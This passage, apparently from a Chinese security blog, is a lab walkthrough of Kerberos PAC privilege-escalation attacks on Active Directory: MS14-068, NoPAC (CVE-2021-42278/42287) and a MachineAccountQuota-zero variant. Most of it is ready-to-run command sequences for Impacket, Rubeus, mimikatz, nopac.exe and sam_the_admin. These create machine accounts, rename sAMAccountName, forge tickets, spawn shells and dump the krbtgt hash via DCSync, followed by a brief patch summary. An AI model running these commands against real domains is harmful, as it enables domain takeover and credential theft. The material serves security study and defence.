#导入票据
export KRB5CCNAME=administrator.ccache

#远程访问win2008
python3 smbexec.py -no-pass -k win2008.xie.com

PAC攻击

pac方面的攻击主要是几个著名的漏洞

MS14-068

权限提升漏洞

原理

密钥层面

PAC包含两个数字签名PAC_SERVER_CHECKSUM、PAC_PRIVSVR_CHECKSUM

这两个数字签名分别是服务的hash和krbtgt的hash加密的,使用checksum算法

但是使用该系列算法,是允许使用该系列的所有算法的,那么我们可以选用MD5算法

MD5算法是不需要密钥进行加密的,所以也就不需要服务和krbtgt的hash值

PAC放置问题

既然是伪造PAC,那么开始我们的TGT就不能产生PAC

1
2
客户端通过AS_REQ报文中设置PA-PAC-REQUEST-PA-DATA为false
从而使AS返回的TGT票据不包含PAC

PAC伪造之后,TGT是krbtgt加密的,无法将伪造的PAC插入

接着考虑TGS_REQ数据包

TGS_REQ数据包包含TGT票据、认证因子

TGT票据是不行的,但是认证因子可以

这就为伪造PAC,创造了两个条件

就可以伪造高权限PAC去访问任何服务

复现

域控:win2016 192.168.8.1

域内主机:win10 192.168.8.3

普通域用户 aim:admin@123

目前拿到win7的权限,是以aim登陆的,尝试提权到system

查看aim的SID

1
whoami /all

image-20230220233515201

利用MS14-068工具,生成票据

1
MS14-068.exe -u aim@sayms.local -p admin@123 -s S-1-5-21-1800720312-2905234279-4070812641-1105 -d 192.168.8.1

image-20230220234130475

mimikatz导入票据

1
2
3
kerberos::purge

kerberos::ptc C:\Users\tom\Desktop\MS14-068-master\TGT_tom@sayms.local.ccache

image-20230220234354895

尝试连接域控

1
dir \\DC.sayms.local\c$

image-20230220234757712

失败,应该是因为域控为win2016,已经更新该漏洞

NoPAC

两个漏洞结合,可以实现权限提升

CVE-2021-42278、CVE-2021-42287

原理

kerberos在处理username时,首先去找username,找不到就会去找username$,假如还找不到,就会去找altSecurityIdentities属性值对应的用户

其次是让KDC找不到原账户

1
2
3
跨域请求时,目标域找不到该域用户,所以会按照上面来找username

修改saMAccountName属性,修改该属性让KDC找不到用户,然后就来找username

PAC机制

1
2
3
AS可以和用户协商,返回的TGT中不包含PAC

ST中的PAC是复制TGT的,TGT中无PAC,在正常情况下ST中也是无PAC

最后就是考虑伪造PAC,而TGT中的PAC是预身份认证生成的,无法伪造,就只能考虑ST中的PAC

ST中的PAC是直接复制TGT的PAC,所以首先应该考虑不然ST复制TGT中的PAC

1
2
3
KDC在跨域的TGS_REQ中,如果TGT无PAC,会重新生成

KDC在处理S4u2Self的TGS_REQ时,PAC是重新生成的

利用思路

首先用原有用户生成机器账户server$

修改机器账户server$的saMAccountName属性中的altSecurityIdentities的值为域控机器名字DC

然后用DC账户请求TGT

修改机器账户的saMAccountName属性的altSecurityIdentities的值为server$,即还原

然后用域管账户以S4u2Self协议,带上TGT来申请域控的服务

此时,KDC会查找DC这个账户,因为修改了saMAccountName属性,找不到DC账户,接着寻找DC$,此时找到了域控

然后就会以域控身份发起S4u2Self协议来访问自身的服务,此时就会返回域管的ST

1
需要注意的是,在域中,机器账户可以利用S4u2Self协议,来模拟任意用户来访问自身的SPN

操作

根据上面思路

1
2
3
4
5
6
7
8
9
10
11
创建机器账户

修改机器账户的saMAccountName属性

用修改之后的属性,请求TGT

复原机器账户的属性

以S4u2Self协议,发起请求ST

提权成功

创建机器账户

普通域内用户默认最多创建10个机器账户

普通域内账户的ms-DS-MachineAccountQuota属性来决定,默认该属性的值为10

python脚本创建

利用SAMR协议远程创建机器账户

创建的账户是没有SPN的

1
python3 addcomputer.py -computer-name 'server' -computer-pass 'root' -dc-ip 域控ip 'sayms,local/tom:admin@12345' -method SARM -debug

powershell脚本创建

创建的账户是有SPN的

1
2
Import-Module .\New-MachineAccount.ps1
New-MachineAccount -MachineAccount server -Password root

那么就需要清除掉

在创建的机器账户server$上执行命令去除

1
2
3
Import-Module .\powerview.ps1

Set-DomainObject "CN=server,CN=Computers,DC=sayms,DC=local" -Clear 'serviceprincipalname' -Verbose

远程去除,需要提供一个拥有去除SPN权限的用户

1
python3 addspn.py -u 'sayms.local\tom' -p admin@12345 -t 'server$' -p 域控ip

修改saMAcconutName属性

在创建server$的主机上面修改

powershell

1
2
3
4
5
6
7
Import-Module .\Powermad.ps1

#查询
Get-MachineAccountAttribute -MachineAccount server -Attribute saMAccountName

#修改
Set-MachineAccountAttribute -MachineAccount server -Value "DC" -Attribute saMAccountName -Verbose

python脚本

1
python3 renameMachine.py -current-name 'server$' -new-name 'DC' -dc-ip DC.sayms.local sayms.local/tom:admin@12345

请求TGT

1
rubeus.exe asktgt /user:"DC" /password:"root" /domain:"sayms.local" /dc:"DC.sayms.local" /nowrap /ptt

复原saMAcconutName属性

1
2
3
4
5
6
7
Import-Module .\Powermad.ps1

#查询
Get-MachineAccountAttribute -MachineAccount server -Attribute saMAccountName

#修改
Set-MachineAccountAttribute -MachineAccount server -Value "server" -Attribute saMAccountName -Verbose

请求ST

用S4u2Self协议以administrator身份请求ldap/DC.sayms.local服务的ST

1
Rubeus.exe s4u /self /impersonateuser:"administator" /altservice:"ldap/DC.sayms.local" /dc:"DC.sayms.local" /ptt /ticket:上面的TGT,base64格式

验证是否有高权限

导出krbtgt的hash

1
lsadump::dcsync /domain:sayms.local /user:krbtgt /csv

工具

可以看到,这个漏洞的利用,不管是原理还是操作,都是有些复杂的

但是有比较方便的工具

nopac.exe

1
nopac.exe -domain sayms.local -user tom -pass admin@12345 /dc DC.sayms.local /mAccount server /mPassword root /service cifs /ptt

image-20230222232825297

然后就可以使用mimikatz直接导出任意用户的hash

1
2
3
kerberos::list

lsadump::dcsync /domain:sayms.local /user:krbtgt /csv

Impacket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#创建机器用户
python3 addcomputer.py -computer-name 'server' -computer-pass 'root' -dc-ip 192.168.8.1 'sayms.local/tom:admin@12345' -method SAMR


#修改机器用户的saMAcconutName属性为DC
python3 renameMachine.py -current-name 'server$' -new-name 'DC' -dc-ip 192.168.8.1 sayms.local/tom:admin@12345


#以server$的身份去请求TGT,用户名为DC
python3 getTGT.py -dc-ip 192.168.8.1 sayms/DC:root


#导入TGT
export KRB5CCNAME=DC.ccache


#恢复saMAcconutName属性
python3 renameMachine.py -current-name 'DC' -new-name 'server$' -dc-ip DC.sayms.local sayms.local/tom:admin@12345


#以S4u2Self协议,用administrator身份去请求域控DC.sayms.local的服务
python3 getST.py -spn cifs/DC.sayms,local sayms/DC@域控ip -no-pass -k -dc-ip 域控ip -impersonate administrator -self



#导入ST
export KRB5CCNAME=administrator.ccache



#验证,导出krbtgt的hash
python3 secretsdump.py DC.sayms.local -k -no-pass -just-dc-user krbtgt

sam_the_admin

1
2
3
4
5
6
#获取权限
python3 sam_the_admin.py "sayms/tom:admin@12345" -dc-ip 域控ip -shell


#导出hash
python3 sam_the_admin.py "sayms/tom:admin@12345" -dc-ip 域控ip -dump

相比较来说,sam_the_admin最容易实现

MAQ为0的攻击

MAQ是普通域内用户账户能够添加机器账户的数量,默认为10,如果设置为0,我们就无法按照上面的方法进行nopac攻击

此时就考虑到用域内已经存在的机器账户,拿来利用

对于修改saMAccountName属性,发现只有域管和将主机加入域的用户,才能对该属性进行修改

然后下面的利用就分为两种情况

1
2
3
获得了域内已经存在的机器权限

获取了将机器加入域的用户权限

如果获得了域内已经存在的机器权限

如果我们获取了域内一台主机的最高权限,假设是WIN7

首先找,是谁将该主机加入的域

1
2
3
4
5
6
7
8
先查取该机器的mS-DS-CreatorSID属性,找到SID
然后用该SID,找到对应用户,即将该主机加入域的用户

#查取mS-DS-CreatorSID属性
AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID

#找到SID对应的用户
AdFind.exe -sc adsid:刚才查询的SID值 -dn

假如通过上面的发现,是tom将主机加入的域

想要接着后续利用,就想要知道tom的密码

先查询WIN7$的SPN,需要WIN7的hash值,因为前提是我们已经拿到了WIN7的权限,所以直接用mimikatz导出hash

1
python3 addspn.py -u 'xie.com\WIN7$' -P 哈希值 -t 'win10$' -q 域控ip

然后删除SPN

1
python3 addspn.py -u 'xie.com\WIN7$' -P 哈希值 -t 'win10$' -c 域控ip

然后和以前一样

1
2
3
4
5
6
7
8
9
10
11
将机器账户的saMAccountName属性修改为域控名

以机器账户身份申请TGT

导入TGT

恢复saMAccountName属性

申请ST

导入ST

如果获取了将机器加入域的用户权限

前提,是tom将WIN7加入的域

现在我们获得了tom的权限

从上面可以知道,我们使用有权限的WIN7,唯一用的就是WIN7$的hash

现在就算没有win7的权限,我们只需要想办法,把WIN7$的hash弄出来就行

我们现在拥有tom这个特殊账户的权限,可以考虑用tom拿到hash

通过mimikatz,利用SAMR协议,修改win7$密码

1
lsadump::SETNTLM /server:域控ip /user:win7$ /password:123456

获取到密码之后,用法就和上面一样了

漏洞修复

主要是两个补丁KB5008102、KB5008308

KB5008102

主要是检查非管理员权限的用户创建或者修改saMAccountName属性和UserAccountControl属性,需要进行检查

KB5008380

在TGS_REP阶段,会将TGT中的pac和TGS_REQ中的pac进行检查,查看两个pac的信息是否相同

整体总结

image-20230304150501801

查看评论